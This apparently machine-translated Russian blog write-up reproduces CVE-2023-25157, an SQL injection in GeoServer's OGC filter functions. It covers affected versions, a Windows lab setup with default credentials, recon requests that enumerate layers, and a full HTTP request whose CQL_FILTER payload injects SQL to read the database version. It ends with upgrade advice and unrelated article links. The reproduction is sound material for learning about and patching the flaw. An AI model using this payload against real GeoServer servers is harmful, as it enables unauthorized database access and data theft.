CVE-2023-25157: уязвимость внедрения SQL-кода в фильтр GeoServer OGC.
CVE-2023-25157: уязвимость внедрения SQL-кода в фильтр GeoServer OGC.

Подпишитесь на нас ❤️, добавьте звездочку 🌟 и учитесь безопасности вместе! Автор: lyc@Timeline Sec Количество слов в этой статье: 1296. Время чтения: 2~4 минуты. Заявление: Это только для ознакомления, пожалуйста, не используйте его в незаконных целях, в противном случае вы будете нести ответственность за последствия.

0x01 Введение

GeoServer — это J2EE-реализация спецификации веб-сервера OpenGIS. GeoServer можно использовать для простой публикации картографических данных и предоставления пользователям возможности обновлять, удалять и вставлять данные объектов. GeoServer может быстро и легко обмениваться пространственной географической информацией между пользователями.

0x02 Обзор уязвимостей

Номер уязвимости: CVE-2023-25157. В версиях до 2.22.1 и 2.21.4 была обнаружена проблема внедрения SQL в выражениях фильтров и функций, определенных стандартом Открытого геопространственного консорциума (OGC), которая могла позволить злоумышленнику, не прошедшему проверку подлинности, использовать уязвимость для выполнения SQL-инъекции и выполнения вредоносных программ. код.

0x03 Затронутые версии

geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2

0x04 Настройка среды

Среда настройки GeoServer имеет множество опций. Загрузите версию для Windows здесь.

Ссылка для скачивания: https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download

После скачивания приступаем к установке

Перед установкой этой службы необходимо настроить среду Java, иначе следующий шаг установки среды будет невозможен.

Пароль учетной записи администратора службы следующий. Вы можете использовать пароль по умолчанию или изменить его самостоятельно.

По умолчанию здесь установлен порт 8080, который может конфликтовать. Вы можете изменить конфигурацию самостоятельно. Здесь установлен порт 9999.

После того как все установлено,GeoServerПуть установки по умолчанию следующий::C:\Program Files\GeoServer\bin,Нажмитеstartup.bat,запустить скрипт,После запуска скрипта,Не закрывайте cmd. просить.

Посетите следующий URL-адрес:http://localhost:9999/geoserver/web/,Здесь указан порт 9999, поскольку в конфигурации выше он был 9999.,когда на самом деле посещаешь,Вам необходимо получить доступ в соответствии с вашим собственным портом. И введите указанный выше пароль учетной записи: admin/geoserver.,Войдите в Геосервер

Войти успешно

0x05 Повторение уязвимости

Выполнение SQL-инъекции уязвимости До,Во-первых, вам необходимо получить информацию о списке географических слоев.,Эта информация является обязательным параметром в полезных данных внедрения SQL.

Доступ по следующему пути для получения информации о списке географических слоев.

Язык кода:javascript
копировать
http://192.168.254.170:9999/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

<Name>информация на этикетках,Это список географических слоев。Выбирайте здесьne:populated_placesВ качестве информации о списке географических слоев

Затем перейдите по следующему пути, чтобы получить имя атрибута слоя.

Язык кода:javascript
копировать
http://192.168.254.170:9999/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:populated_places&maxFeatures=1&outputFormat=json

Окончательная полезная нагрузка выглядит следующим образом:

Язык кода:javascript
копировать
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=gwpd:chinamap11&CQL_FILTER=strStartsWith%28Vatican City%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: 192.168.254.170:9999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1p6q6kkghu4bg1x04chtdvm369
Connection: close

Запрос информации о версии базы данных

0x06 Как это исправить

Последняя версия была официально выпущена, и вы можете загрузить и обновить ее до последней версии.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose